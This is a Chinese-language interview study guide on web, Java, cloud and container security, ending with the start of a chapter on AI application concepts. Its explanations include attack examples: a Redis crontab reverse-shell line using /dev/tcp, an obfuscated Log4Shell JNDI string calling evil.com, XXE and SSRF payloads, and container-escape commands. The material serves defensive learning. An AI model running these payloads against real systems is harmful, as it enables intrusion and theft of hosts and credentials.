ATT&CK Adversarial Tactics, Techniques, and Common Knowledge MITRE 的“攻击者招式百科全书” 11
纵深防御 Defense in Depth 不指望一道防线挡住,而是层层设卡 11/12
DevSecOps Development + Security + Operations 把安全检查嵌进研发流程,而不是上线前才想起 07/11/12
安全左移 Shift Left Security 把安全从“上线前”挪到“写代码时”,越早修越便宜 07/11/12
SDL Security Development Lifecycle 微软提出的安全开发生命周期(需求/设计/编码/测试/上线各阶段的安全活动) 11
WAF Web Application Firewall Web 防火墙:在流量进应用之前拦(看的是字面量) 11/12
HIDS Host-based Intrusion Detection System 主机入侵检测:监控服务器上的文件、进程、命令 08/11
IDS / IPS Intrusion Detection / Prevention System 入侵检测 / 入侵防御(一个只报警,一个会拦) 11
SIEM Security Information and Event Management 安全日志集中分析平台(把所有日志汇总起来关联分析) 08/11
应急响应 Incident Response 出事了怎么办:止损 → 取证 → 根除 → 恢复 → 复盘 08/11/12
取证 Forensics 保留证据、还原攻击过程(先取证再重装,别急着格盘) 11/12
渗透测试 Penetration Test 授权前提下模拟真实攻击,找出系统弱点 11/12
红队 / 蓝队 Red Team / Blue Team 红队模拟攻击,蓝队负责防守(紫队 = 两边一起复盘) 11/12
0day Zero-Day 厂商还不知道、因此没有补丁的漏洞 11/12
PoC Proof of Concept 证明漏洞存在的示例代码 11/12
EXP Exploit 能实际利用漏洞的完整攻击程序(比 PoC 更进一步) 11/12
Payload — 真正被执行的那段“恶意载荷” 11/12
SCA Software Composition Analysis 软件成分分析:自动查你的第三方依赖有没有已知漏洞 11/12
SBOM Software Bill of Materials 软件物料清单:你这个包用了哪些依赖、什么版本的一张清单 11/12
VEX Vulnerability Exploitability eXchange 声明“这个 CVE 虽然在这个依赖里,但我们用不到那条路径,所以不受影响” 11/12
CycloneDX / SPDX — 两种主流的 SBOM 格式标准 11/12
Trivy — 一站式漏洞扫描器:能扫依赖、镜像、配置、IaC 11/12
Syft — 生成 SBOM 的工具(常和 Grype/Trivy 搭配) 11/12
gitleaks — 扫 Git 历史里有没有把密钥/密码提交进去 11/12
Semgrep — 静态代码扫描:用规则找“危险写法”(不是找已知 CVE) 11/12
Nuclei — 基于模板的漏洞扫描器,一条命令扫上千个已知漏洞 12
ffuf Fuzz Faster U Fool Web FUZZ 爆破工具:扫目录、扫参数、扫子域名 12
sqlmap — SQL 注入自动化的事实标准 12
Burp Suite — Web 渗透的瑞士军刀(抓包改包、重放、爆破) 12
Interactsh — 自建的 OOB 带外检测服务(Nuclei 用它验无回显漏洞) 12

10.2 核心概念详解

XSS vs CSRF —— 一张表彻底分清

XSS
Cross-Site Scripting
CSRF
Cross-Site Request Forgery
中文 跨站脚本 跨站请求伪造
攻击方式 把恶意 JS 代码注入到目标网站 诱导你点击,让你的浏览器冒充你发请求
信任谁 攻击者利用用户对网站的信任 攻击者利用网站对用户浏览器的信任
需要登录吗 不一定 必须(要利用你的登录态)
偷什么 Cookie、页面内容 以你的身份执行操作(转账、改密码)
举例 评论区提交 <script>偷cookie</script> 你登录了银行,又点开了恶意网站,它偷偷发“转账 1 万”的请求
防御 转义/过滤用户输入、CSP、HttpOnly Cookie CSRF Token、校验 Referer、SameSite Cookie

为什么 XSS 不叫 CSS:

因为 CSS 已经被“层叠样式表”(Cascading Style Sheets)占了,所以缩写改成 XSS。

XSS 的三种类型

① 存储型(最危险)
   恶意脚本被【存到数据库】,每次页面加载都会执行
   例:论坛评论里写 <script>...</script>,所有人看这个帖子都中招

② 反射型
   恶意脚本在 URL 里,服务端原样返回给页面
   例:search?keyword=<script>偷cookie</script>
   需要诱导用户点击这个链接

③ DOM 型
   前端 JS 直接把 URL 参数写进 DOM(不经过服务端)
   例:document.write(location.hash)

XSS 防御:

  1. 输入过滤 / 输出转义:把 < > 转成 &lt; &gt;
  2. CSP(Content Security Policy):限制页面只能加载指定来源的脚本
  3. HttpOnly Cookie:JS 读不到 Cookie(就算被 XSS 也偷不走)
  4. 前端框架自动转义:Vue 的 {{ }}、React 的 {} 默认转义(但 v-html / dangerouslySetInnerHTML 不会!)

CSRF 的攻击与防御

攻击流程:

① 你登录了银行网站,Cookie 里有登录凭证
② 你没退出,又去逛了恶意网站
③ 恶意网站里藏着:
   <img src="http://bank.com/transfer?to=hacker&amount=10000">
④ 浏览器加载这个 img,自动带上 bank.com 的 Cookie
⑤ 银行收到请求,一看 Cookie 是你的 → 认为是你的操作 → 转账成功

防御三板斧:

① CSRF Token(最有效)
   每次请求带一个随机 Token,服务端校验
   攻击者拿不到这个 Token(因为 Token 在页面里,跨域读不到)
   
② SameSite Cookie
   Set-Cookie: sessionid=xxx; SameSite=Strict/Lax
   Strict:完全禁止第三方请求带 Cookie
   Lax  :只允许 GET 导航类请求带(现代浏览器默认值)
   
③ 校验 Referer / Origin
   检查请求是不是从自己的域名来的

面试怎么答:

“XSS 是注入恶意脚本,CSRF 是伪造用户请求。 XSS 防的是’用户输入被当成代码执行’,靠转义和 CSP; CSRF 防的是’别人冒用你的身份发请求’,靠 Token 和 SameSite Cookie。 简单记:XSS 偷信息,CSRF 冒充你操作。”


OAuth / JWT / SSO —— 三个认证相关的概念

OAuth2 JWT SSO
是什么 授权协议(一套流程规范) 令牌格式(一种数据格式) 一种效果(登录一次全通行)
解决的 “第三方应用怎么拿到我的部分权限,而又不拿到我的密码” “怎么在客户端安全地携带用户信息” “公司有 10 个系统,要登录 10 次吗?”
关系 OAuth2 流程中可以用 JWT 作为令牌 是一种格式,被 OAuth2 使用 通常用 OAuth2 + JWT 实现

OAuth2 的授权码模式(最常用,面试常考):

场景:用小明的微信登录"某个论坛"

① 论坛把小明跳转到微信的授权页面
② 小明在微信页面上点"同意"(注意:账号密码只给微信,论坛看不到)
③ 微信把小明跳回论坛,并带上一个【授权码 code】
④ 论坛【后台】拿这个 code + 自己的密钥,去微信换【access_token】
⑤ 论坛拿 access_token 去微信拿小明的基本信息(昵称、头像)

关键点:
  - 小明的微信密码【从来没给过论坛】✅
  - access_token 是在【后台】换的,前端拿不到 ✅
  - code 是一次性的,且有效期很短(通常 10 分钟)✅

JWT 长什么样:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwMDAsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMH0.abc123signature

三段,用 . 分隔:
  ① Header(头部)   :算法和类型   → Base64 编码
  ② Payload(载荷)  :用户信息 + 过期时间 → Base64 编码(【不是加密,任何人都能解码!】)
  ③ Signature(签名):用密钥对前两段签名 → 防篡改

关键认知:
  ⚠️ JWT 的 Payload 只是 Base64 编码,【不是加密】——不要存敏感信息!
  ✅ JWT 的价值在于【签名】:服务端用密钥验证签名,确认没被篡改

JWT 的优缺点(面试常问):

优点 缺点
无状态:服务端不用存 Session,适合分布式 无法主动失效:签发了就得等到期(改密码也拦不住)
减少数据库查询 续期麻烦:快过期了怎么办?
跨域友好 体积大:比 SessionId 大很多,每次请求都带上

无状态 JWT 的三个经典问题与解法:

① 无法主动踢人下线
   解法:维护一个黑名单(Redis),校验时查一下(牺牲部分无状态性)

② 续期问题
   解法:双 Token(access_token 短 + refresh_token 长)
        access_token 过期 → 用 refresh_token 换新

③ 改密码后旧 Token 还能用
   解法:把用户密码版本号放进 JWT,改密码时 +1,校验时比对

RBAC(Role-Based Access Control,基于角色的访问控制)

一句话:不直接给用户权限,而是给角色权限,再把角色分配给用户。

传统(ACL 访问控制列表):
  用户张三 → 权限1、权限2、权限3
  用户李四 → 权限1、权限2
  ⚠️ 1000 个用户就要配 1000 次

RBAC:
  用户 ──属于──▶ 角色 ──拥有──▶ 权限
  
  张三 → 管理员角色 → 查看/编辑/删除
  李四 → 普通用户   → 查看
  
  ✅ 新增用户只需分配角色,改权限只需改角色的权限

标准的 RBAC 模型:

用户(User)
  ↓ 多对多
角色(Role)  ← 如:超级管理员、部门经理、普通员工、访客
  ↓ 多对多
权限(Permission) ← 如:user:add、user:delete、order:view
  ↓ 属于
资源(Resource)   ← 如:用户管理页面、订单列表

面试怎么说:

“我们用 RBAC 模型,五张表:用户、角色、权限、用户角色关联、角色权限关联。 前端做按钮级权限:登录后拿到权限列表,用自定义指令/函数判断按钮是否渲染。 后端做接口级权限:用拦截器或注解校验,前端的权限只是体验,真正的校验必须在后端。”


SSRF vs XXE vs IDOR —— 三个“看到了不该看的东西”

这三个在面试里经常被一起问,因为症状很像(都是“读到了不该读的数据”),但机理完全不同。

SSRF XXE IDOR
中文 服务端请求伪造 XML 外部实体注入 不安全的直接对象引用
谁被骗了 服务器(让它替你发请求) XML 解析器(让它去读外部资源) 谁都没被骗,是你自己没校验
利用的信任 服务器能访问内网 XML 规范允许引用外部实体 用户传什么 ID 就查什么 ID
典型 payload url=http://127.0.0.1:6379 <!ENTITY x SYSTEM "file:///etc/passwd"> GET /order/1002(改成别人的)
能拿到什么 内网服务、云元数据、Redis GetShell 本地文件、内网端口探测、DoS 别人的数据(订单/资料/文件)
本质 服务器成了攻击者的代理 解析器成了攻击者的文件读取器 没有做归属校验

一句话记忆:

“SSRF 是骗服务器替我发请求,XXE 是骗解析器帮我读文件, IDOR 是谁都没骗——就是后端忘了查这条数据是不是你的。”

SSRF 为什么在云上特别致命

传统机房:
  攻击者 → SSRF → 打到内网 Redis(未授权) → 拿到一台机器
  内网里是几台物理机,价值有限

云上:
  攻击者 → SSRF → 打到 169.254.169.254(IMDS 元数据服务)
                 → 拿到临时 AK/SK(云账号的密钥!)
                 → 用 AK/SK 调云 API:建子账号、开新机器、下载整个 OSS 桶
  一次 SSRF = 整个云账号沦陷

面试金句:

“云上 SSRF 的靶子不再是内网 IP,而是 169.254.169.254 这个元数据服务。 它不需要认证,返回的是临时 AK/SK。所以云上的 SSRF 危害被放大了一个数量级—— 防御上除了禁 IP 段,最重要的是让元数据服务只能被本机进程访问、且必须走 IMDSv2 的 PUT 方式, 这样 SSRF(通常只能发 GET)就拿不到 Token。”


反序列化为什么能 RCE —— Gadget Chain 白话讲透

这是 Java 安全最反直觉的一条:“我只是把一个字节流还原成对象而已,怎么就执行了命令?”

第一步:readObject() 会自动执行代码

// 你以为反序列化只是"恢复数据"
Object obj = ois.readObject();

但实际上,readObject() 是一个方法。如果这个类自己重写了 readObject(), JVM 就会在反序列化时自动调用它——这是语言规范规定的,不是漏洞,是特性。

生活类比: 你从快递柜取一个包裹(字节流)。正常的包裹打开就是东西(数据)。 但有些包裹里装的是一个会自动启动的机器——你一打开(反序列化), 它就自己按下了开机键(执行 readObject() 里的代码)。 问题不在“取包裹”,在于有人寄了一台会自动开机的机器给你。

第二步:Gadget Chain(利用链)

攻击者的困境:他不能直接把“执行 rm -rf /“的代码序列化传过去—— 因为服务端得有对应的类才能还原。

于是攻击者想了个办法:不用自己的类,用你项目里本来就有的类。

 Gadget Chain 的构造思路:

 ① 找一个"入口类":它的 readObject() 会自动调用某个方法
        ↓  如 AnnotationInvocationHandler.readObject() → map.entrySet()
 ② 找一个"跳板类":那个方法会调用另一个对象的方法
        ↓  如 TransformedMap 的 setValue() → transform()
 ③ 找一个"执行类":最终调用反射执行任意代码
        ↓  如 InvokerTransformer.transform() → Method.invoke()
 ④ 用反射把参数设成 "Runtime.exec('calc')"

 结果:一串本来各干各的、完全无辜的类,被串成了一条"自动执行命令"的链条

生活类比(酒店机器人): 酒店里有三台机器,各自都很正常:

  • 前台机器人:收到包裹就喊一声“几号房”(相当于入口类的 readObject())
  • 传送带:听到“几号房”就把包裹送过去(相当于跳板类)
  • 房间机器人:收到包裹就按包裹上写的指示做(相当于执行类)

每一台单独看都没问题。但攻击者写了个包裹,上面写着“去把保险柜打开”, 把它投递到前台——于是三台机器自动接力,把保险柜开了。

没有哪台机器是“坏”的,但这条链是。这就是 Gadget Chain。

第三步:为什么 Runtime 不能被直接序列化

java.lang.Runtime 没有实现 Serializable,所以不能直接塞进 payload。 CommonsCollections 链用了个“曲线救国”的四步:

① 拿到 Runtime 的 Class 对象
     Class c = Runtime.class;
② 通过反射拿到 getRuntime 方法
     Method m1 = c.getMethod("getRuntime");
③ 调用它拿到 Runtime 实例
     Runtime r = (Runtime) m1.invoke(null);
④ 再反射调用 exec
     Method m2 = c.getMethod("exec", String.class);
     m2.invoke(r, "calc");

每一步都是方法对象(Method 是可序列化的),所以能塞进字节流传过去, 在对方机器上重新拼装执行。

防御:为什么黑名单没用

黑名单:禁止反序列化 InvokerTransformer.class
        ↓
        攻击者换一条链(CC2 / CC5 / CC6 / CB1 / ...)
        ↓
        永远补不完 —— 因为"能凑成链的类"是开放集合

白名单(JEP 290):只允许反序列化这 5 个业务类
        ↓
        任何其他类一律拒绝,并记录日志

面试怎么说:

“反序列化漏洞的根因不是反序列化本身,而是把不可信的字节流交给 readObject()。 防护思路有三层: ① 最彻底——换掉序列化协议,用 JSON / Kryo(Kryo 也要开 registrationRequired); ② 退而求其次——用 JEP 290 白名单,只允许业务类,其余拒绝并告警(被拒绝的类名还能当入侵检测信号); ③ 兜底——升级依赖到安全版本 + 上 RASP 拦截危险调用。 另外要强调:黑名单是补不完的,因为能组成链的类几乎是无限的。”


CVE / CVSS / EPSS / KEV / CWE —— 漏洞编号体系一次搞清

这五个缩写经常一起出现,很多人分不清。它们回答的是五个不同的问题:

缩写 回答的问题 长什么样 谁在维护
CVE 这个漏洞叫什么(身份证号) CVE-2021-44228(年-序号) MITRE
CWE 这个漏洞属于哪一类(病种) CWE-89 = SQL 注入 MITRE
CVSS 这个漏洞理论上多危险(0~10 分) CVSS 10.0 (Critical) FIRST
EPSS 这个漏洞实际被利用的概率(0~1) EPSS 0.97(97%) FIRST
KEV 这个漏洞已经被用于实战(是/否) 在或不在清单里 美国 CISA

关键认知(面试加分点):

CVSS 高 ≠ 现在就要修
CVSS 是"理论严重程度",很多 CVSS 9.8 的漏洞因为利用条件苛刻,实际从未被使用。

EPSS / KEV 才是排优先级该看的:
  - EPSS > 0.9  :未来 30 天大概率被利用 → 立刻修
  - 在 KEV 清单里:已经在被用来攻击了   → 立刻修
  - CVSS 高但 EPSS < 0.01:可以排进正常迭代

生活类比:

  • CVE = 疾病编号(“第 2021-44228 号病”)
  • CWE = 病种分类(“呼吸道感染”)
  • CVSS = 医生评的致死率(理论上有多严重)
  • EPSS = 这个病今年实际会传染多少人的概率预测
  • KEV = 卫生局通报的“已经在流行的病“清单

作为医院院长(研发负责人),该先防“已经在流行的”,而不是“致死率最高但没人得的”。


SCA / SBOM / VEX —— 依赖治理三件套

三个词都是为了解决同一个问题:你的项目用了几百个第三方包,怎么知道哪个有漏洞?

三者的关系

SCA(软件成分分析)
  = 干这件事的【工具类别】
      例:Trivy、Snyk、Dependency-Check、Renovate
      作用:扫描你的依赖,报出"log4j-core 2.14.1 有 CVE-2021-44228"

SBOM(软件物料清单)
  = SCA 产出的【那张清单】
      作用:把你用了什么、什么版本,结构化记录下来(CycloneDX / SPDX 格式)
      类比:食品的"配料表"、药品的"成分说明书"

VEX(漏洞可利用性交换)
  = 对 SBOM 里某个 CVE 的【官方声明】
      作用:"这个 CVE 确实在这个依赖里,但我们没调用那条代码路径,所以不受影响"
      类比:配料表里有花生,但我这条产线没下花生 → 声明"本产品不含花生成分"

为什么 Log4Shell 之后 SBOM 突然火了

2021-12-09  Log4Shell 爆发

所有公司的第一个问题都是同一个:
   "我们到底哪些系统用了 log4j-core?"

答不上来的公司 → 只能全公司所有 Java 项目逐个 grep、逐个翻 pom.xml
                → 花了 3~7 天才摸清家底(这几天就是攻击窗口)

有 SBOM 的公司 → 一条查询,10 分钟拿到完整清单

面试怎么说:

“Log4Shell 教会行业一件事:出事的时候,‘知道自己在哪’比’知道怎么修’更紧急。 所以我们把 SBOM 生成放进了 CI——每次构建都产一份 CycloneDX 清单并存起来。 平时它没什么存在感,但下次再来一个 Log4Shell,我们的 MTTR(平均修复时间) 可以从’几天’压到’几小时’。另外配 VEX,避免扫描器报了一堆 CVE 全是误报、 研发疲于应付最后干脆不看告警——告警的可信度比数量重要。”


越权的两种:水平越权与垂直越权

越权(Broken Access Control)连续多年排在 OWASP Top 10 第一名, 也是业务开发里最常见的漏洞——因为它不是“用了什么危险函数”,而是“少写了一行判断“。

水平越权(Horizontal)
  ┌─────────┐   ┌─────────┐
  │ 用户 A  │   │ 用户 B  │     ← 同一级别(都是普通用户)
  └────┬────┘   └────┬────┘
       │             │
   A 看到了 B 的订单、工资条、简历
   
  代码长这样:
    @GetMapping("/order/{id}")
    public Order get(@PathVariable Long id) {
        return orderMapper.selectById(id);   // ❌ 没查这个订单是不是当前用户的
    }
  修复:
    SELECT * FROM order WHERE id = ? AND user_id = 当前登录用户   // ✅

垂直越权(Vertical)
  ┌─────────┐
  │ 普通用户 │ ────▶ 调用了 /admin/deleteUser  ────▶ 干了管理员的活
  └─────────┘
  
  代码长这样:
    @GetMapping("/admin/users")     // ❌ 没有任何权限注解
    public List<User> list() { ... }
  修复:
    @PreAuthorize("hasRole('ADMIN')")    // ✅

一张表记清:

水平越权 垂直越权
方向 平级之间(我看你的) 上下级之间(我干领导的)
根因 查询时没加归属条件 接口没做角色校验
典型场景 改 URL 里的 ID 直接访问 /admin/xxx
修复 SQL 里带 user_id;或用 MyBatis 数据权限插件统一加 @PreAuthorize / 拦截器 / 网关统一鉴权
哪个更难发现 更难——返回的也是正常数据,日志看不出异常 容易——扫一遍接口清单就出来了

面试怎么说:

“水平越权比垂直越权更隐蔽,因为数据本身是正常的——订单确实存在、格式也对, 只是不属于当前用户,所以日志和监控都看不出来。我们的做法是: ① 在系统层面解决而不是靠人记得写——对所有带 userId 的业务表, 用 MyBatis 拦截器自动追加归属条件; ② 审计日志里记录”谁在什么时候访问了谁的数据“, 用离线任务检测”一个账号短时间内遍历大量 ID“这种异常模式(这是水平拖数据的特征)。”


密码存储:为什么 MD5 存密码是错的

演进四阶段(面试常考“为什么”)

① 明文存储          ❌ 数据库一泄露全完
     123456

② MD5 / SHA1        ❌ 看起来安全,其实一秒能撞出来
     e10adc3949ba59abbe56e057f20f883e
    问题 1:彩虹表 —— 常见密码的 MD5 早就有人算好做成对照表了,
                    直接反查,不用"破解"
    问题 2:太快   —— MD5 一次只要几纳秒,GPU 一秒能算几百亿次,
                    8 位以内密码几个小时就能穷举完

③ MD5 + 固定盐      ⚠️ 好一点,但还有问题
     md5("mySalt" + password)
    问题:盐是写死在代码里的,代码一泄露盐就白加了;
          同一个盐 → 相同密码的哈希仍然一样,能看出"这两人密码相同"

④ BCrypt / Argon2   ✅ 现在的标准答案
     $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
    格式:$算法$强度$盐(22字符)$哈希

BCrypt 好在哪三点

① 自带随机盐,且盐就存在结果里
   每个用户的盐都不一样,不用你自己维护 salt 字段
   → 相同密码的两人,哈希完全不同

② 故意很慢,且能调"多慢"
   $2a$10$ 中的 10 是 cost,表示 2^10 = 1024 轮
   → 想更快破解就得堆 1024 倍的算力
   → 电脑变快了就把 cost 调大(这是 MD5 做不到的)

③ 加盐 + 慢,两条都堵上了彩虹表和暴力破解

三个算法怎么选:

BCrypt Argon2 PBKDF2
年代 1999 2015(密码哈希竞赛冠军) 老牌,NIST 认证
抗 GPU 一般 强(可配置大量占用内存,GPU 内存不够就跑不快) 弱
推荐度 ✅ 稳妥默认 ✅ 新项目首选 ⚠️ 有合规要求时才用
Spring 用法 new BCryptPasswordEncoder() new Argon2PasswordEncoder() new Pbkdf2PasswordEncoder()

生活类比: 存密码就像存保险箱里的现金。

  • 明文 = 现金摊桌上
  • MD5 = 锁了个密码锁,但锁芯是塑料的
  • MD5 + 固定盐 = 换了个铁锁,但所有保险箱用同一把钥匙,配一把全开了
  • BCrypt = 每个保险箱一把独一无二的钥匙,而且开一次要 0.3 秒 (对你来说无感,对小偷来说试 1 亿个密码要试 10 个月)

面试怎么说:

“密码存储我们用的是 BCrypt,Spring Security 的 BCryptPasswordEncoder, 强度设 10。选它的理由有三个:自带随机盐不用自己维护 salt 字段、 计算强度可调(硬件变强了就把 cost 调大)、同一个密码两次加密结果不同所以 看不出两个人是不是用了同一个密码。 提一下:MD5 不是”加密算法“而是摘要算法,它之所以不适合存密码, 核心不是不安全,而是太”快“了——安全哈希的首要指标是慢。”


WAF vs RASP vs HIDS —— 三层防护各看什么

WAF RASP HIDS
中文 Web 应用防火墙 运行时应用自保护 主机入侵检测
位置 流量进应用之前(网关侧) 应用内部(JVM 里插桩) 主机上(进程/文件/命令)
看得见什么 HTTP 请求原文 解密后、参数绑定后的真实调用 系统层面:改了什么文件、跑了什么命令
看不见什么 加密流量、非 HTTP 协议 非 Java 应用 应用内部逻辑
拦 Log4Shell ❌ 很难($ { jndi 能写成几十种变形,WAF 看字面量、Log4j 看求值结果) ✅ 能(在 JndiLookup.lookup() 调用点直接拦) ⚠️ 只能在事后发现(发现异常进程)
比喻 小区门口的保安 你家里的智能摄像头 物业的监控室

关键点(面试加分):

为什么 WAF 防不住 Log4Shell?
  因为 WAF 是【字符串匹配】,而 Log4j 是【先求值再执行】。
  
  攻击者写:${${lower:j}ndi:${lower:l}dap://evil.com/a}
            ↑ 字面量里没有 "jndi" 也没有 "ldap"
  
  WAF 看到   :一堆 ${} 和 lower:,不像攻击 → 放行
  Log4j 求值 :lower:j → j,lower:l → l
              拼出来就是 ${jndi:ldap://evil.com/a} → 触发
  
  一句话:WAF 看的是"你写的字",Log4j 看的是"你算出来的结果"。
  这就是为什么 RASP(在调用点拦)比 WAF 可靠。

容器逃逸与 K8s 的“三件大事”

容器 vs 虚拟机的本质区别(决定了逃逸为什么存在)

虚拟机:每个 VM 有自己的【内核】
  硬件 → 宿主机内核 → Hypervisor → [Guest 内核 | Guest 内核]
                                     ↑ 攻击面在 Hypervisor,非常小

容器:所有容器【共享宿主机内核】
  硬件 → 宿主机内核 → [容器A | 容器B | 容器C]
                        ↑ 只要攻破内核(或拿到 CAP_SYS_ADMIN),
                          就能从容器里看到/控制宿主机

所以容器从来就不是“安全边界”,它只是“隔离”。 需要真正的安全边界时得用 gVisor / Kata Containers(轻量 VM)。

逃逸的三种典型手法

手法 条件 一句话
特权容器 容器以 --privileged 启动 有 CAP_SYS_ADMIN → mount /dev/vda1 /mnt → chroot /mnt → 宿主机 root
挂载 docker.sock -v /var/run/docker.sock:... 容器里能操控宿主机的 Docker → 起一个挂载宿主机根目录的新容器 → 随便读写
内核漏洞 宿主机内核没打补丁 Dirty Pipe / Dirty Cow 等,直接提权到 root

docker.sock 为什么最危险(面试金句):

“把 /var/run/docker.sock 挂载进容器,等价于把宿主机的 root 直接交出去。 因为 Docker daemon 本来就是以 root 跑的,谁拿到 socket 谁就能让它做任何事—— 最常见的姿势是在容器里 docker run -v /:/host,宿主机整个根目录就到手了。 需要容器里操作 Docker 的场景,正确做法是用 DinD(Docker in Docker)、 Kaniko 或 BuildKit rootless,而不是挂 socket。”

K8s 的三件大事

① SA Token(最常见,也最容易被忽视)
   每个 Pod 里默认就挂着:/var/run/secrets/kubernetes.io/serviceaccount/token
   如果 ServiceAccount 绑了高权限 → 拿 Pod = 拿集群
   → 修复:automountServiceAccountToken: false + RBAC 最小权限

② etcd(集群的数据库,2379 端口)
   所有配置、所有 Secret 都存在这里
   → 未授权 = 直接读到全部密钥;还能【直接写数据绕过 RBAC】
   → 修复:开启 TLS 双向认证 + 静态加密 EncryptionConfiguration

③ kubelet(每个节点的管家,10250 端口)
   未授权 = 能 exec 进该节点上【任意 Pod】
   → 修复:webhook 认证授权 + 关掉匿名访问

面试怎么说:

“K8s 安全我关注三个面:身份(SA Token 和 RBAC 是不是最小权限)、 存储(etcd 有没有开 TLS 和静态加密,Secret 默认只有 Base64 不算加密)、 边界(有没有 NetworkPolicy 做 Pod 间隔离、PSA 有没有禁止特权容器)。 一个很实用的检查:进任意 Pod 看 /var/run/secrets/.../token 存不存在—— 如果业务根本不调 K8s API,这个 Token 就是白送的攻击面,应该直接关掉挂载。”


未授权访问:为什么它是最“划算”的漏洞

Redis / Nacos / Jenkins / Kafka / etcd / MongoDB……出事最多的往往不是精妙漏洞, 而是一个服务开着、且没设密码。

三个真实成因(都不是技术难题)

① 默认配置无认证
   Redis 默认 conf 里 "# requirepass foobared" 是注释掉的
   → 直接 docker run redis 就是裸奔

② 绑定 0.0.0.0 而非 127.0.0.1
   开发时为了方便,把 bind 改成 0.0.0.0
   → 本来只想本机访问,结果暴露到公网

③ 安全组 / 防火墙没关端口
   云上"图省事"开了 0.0.0.0/0
   → 全网扫描器 24 小时内必到(实测最短 4 小时被入侵)

Redis 未授权的四步 GetShell

① 写 crontab      : config set dir /var/spool/cron/ + set x "\n\n* * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n"
② 写 SSH 公钥     : 把攻击者的 id_rsa.pub 写进 /root/.ssh/authorized_keys
③ 写 WebShell     : 写到网站的 web 目录,浏览器直接访问
④ 主从复制 RCE    : 让目标当从库,主库把恶意 .so 同步过去 → 加载模块 → 执行命令
   ④ 是目前最可靠的手法(不依赖目标有没有 cron、是不是 root 运行)

共同的防御原则(一句话):

“不暴露 × 要认证 × 最小权限,三件事做到任意两件,绝大多数未授权事故都不会发生。 最便宜的一件是不暴露——监听地址改成 127.0.0.1 或加 NetworkPolicy, 成本几乎为零,收益立竿见影。”


10.3 第十章小结

【Web 安全速记】

XSS  :注入脚本 → 偷信息 → 防:转义、CSP、HttpOnly
CSRF :伪造请求 → 冒充你 → 防:Token、SameSite Cookie
SQL注入:拼SQL  → 拖库   → 防:预编译(#{} 而不是 ${})
SSRF :骗服务器 → 打内网 → 防:白名单域名、禁内网 IP、禁元数据
XXE  :XML 实体 → 读文件 → 防:禁用外部实体(setFeature)
IDOR :改 ID   → 看别人的 → 防:查询带归属条件
越权 :水平(看同事的)/ 垂直(干领导的)→ 防:归属校验 + @PreAuthorize

【认证与密码】

OAuth2:授权流程(给第三方部分权限,不给密码)  ← 只管"授权"
OIDC  :OAuth2 + 身份认证                        ← 额外回答"你是谁"
JWT   :令牌格式(无状态,但要防"无法主动失效")
SSO   :效果(登录一次全通行,通常用 OAuth2 + JWT 实现)
RBAC  :权限模型(用户→角色→权限)
密码  :MD5 不行(太快)→ BCrypt(稳妥)/ Argon2(新项目首选)

【Java 组件安全】

反序列化:根因是把不可信字节流交给 readObject()
Gadget Chain:用项目里本来就有的无辜类,串成自动执行的链
防护三选一:换 JSON/Kryo(最彻底)> JEP 290 白名单 > 升级依赖
黑名单补不完 —— 能凑成链的类是开放集合

【漏洞编号与治理】

CVE 身份证 / CWE 病种 / CVSS 理论严重度 / EPSS 被利用概率 / KEV 已被实战利用
优先级排序看【EPSS + KEV】,不是只看 CVSS
SCA 是工具,SBOM 是清单,VEX 是"这个 CVE 影响不到我"的声明

【云原生安全】

容器共享内核 → 容器不是安全边界(要边界用 gVisor / Kata)
逃逸三手法:特权容器 / docker.sock / 内核漏洞
  "> 挂 docker.sock 进容器 = 把宿主机 root 交出去"
K8s 三件大事:SA Token(身份)、etcd(存储)、kubelet(边界)
Secret 默认只有 Base64,不算加密

【防护层次】

WAF  :在流量进来前拦(看字面量,防不住变形绕过)
RASP :在应用内部拦(看求值结果,能防 Log4Shell)
HIDS :在主机上监控(事后发现异常文件/进程)
纵深防御:不指望一道防线挡住,层层设卡

【最朴素也最有效的一条】

未授权访问的三个成因:默认无认证 / 绑 0.0.0.0 / 安全组开 0.0.0.0/0
防御口诀:不暴露 × 要认证 × 最小权限(做到任意两条就够)

第十一章:AI 应用开发

这一章对应 06 号文档(《AI 应用开发》),也是你简历**项目二(RAG 系统)**的核心。 RAG、Embedding、Token、幻觉、MCP 是面试必问。

11.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
LLM Large Language Model 大语言模型,就是 ChatGPT 背后那个“大脑” 06/08/09
RAG Retrieval-Augmented Generation 检索增强生成:先查资料,再让 AI 基于资料回答 03/06/08/09/10
Embedding Embedding(嵌入/向量化) 把文本转成一组数字(向量),让计算机能算“相似度” 03/06/08
向量 Vector 一组数字,表示文本在语义空间中的位置 03/06
向量库 Vector Database 专门存向量、做相似度检索的数据库(pgvector、Milvus) 03/06
余弦相似度 Cosine Similarity 两个向量夹角的余弦值,用来衡量“有多像” 06
Token Token(词元) AI 处理文本的最小单位(不是字,也不是词) 06
Prompt Prompt(提示词) 你给 AI 的指令/问题 06
System Prompt System Prompt 给 AI 设定的“角色和规则”,优先级最高 06
上下文窗口 Context Window AI 一次能“记住”多少 Token(如 128K) 06
幻觉 Hallucination AI 一本正经地编造不存在的事实 06
微调 Fine-tuning 用自己的数据继续训练模型,改变它的“知识” 06
Function Call Function Calling 让 AI 能“调用外部函数/接口”的能力 06
Agent Agent(智能体) 能自主规划、调用工具、多步完成任务的 AI 02/06/07/08
MCP Model Context Protocol Anthropic 提出的协议,让 AI 连接外部工具/数据源 06
SSE Server-Sent Events 服务端向浏览器单向持续推送(打字机效果的底层) 06/09
WebSocket WebSocket 浏览器和服务端双向持续通信 02/06/09
召回 Recall 从海量文档里粗筛出可能相关的候选集 06
重排 Rerank 对召回的候选重新精准排序(用更精细但更慢的模型) 01/02/09
Chunk Chunk(分块) 把长文档切成小段,便于向量化和检索 06
Top-K Top-K 取相似度最高的 K 个结果 06
温度 Temperature 控制 AI 回答的随机性(0=严谨,1=有创意) 06

11.2 核心概念详解

RAG(Retrieval-Augmented Generation,检索增强生成)

Retrieval(检索)+ Augmented(增强)+ Generation(生成) 一句话:先从你的知识库里查出相关资料,再把这些资料塞给 AI,让它基于资料回答。

为什么需要它(三个 LLM 的硬伤):

问题 说明 RAG 怎么解决
① 知识过时 模型训练数据有截止日期,不知道最新信息 资料从你的知识库实时检索
② 不懂私域知识 不知道你公司的内部文档、规章制度 检索你的内部文档
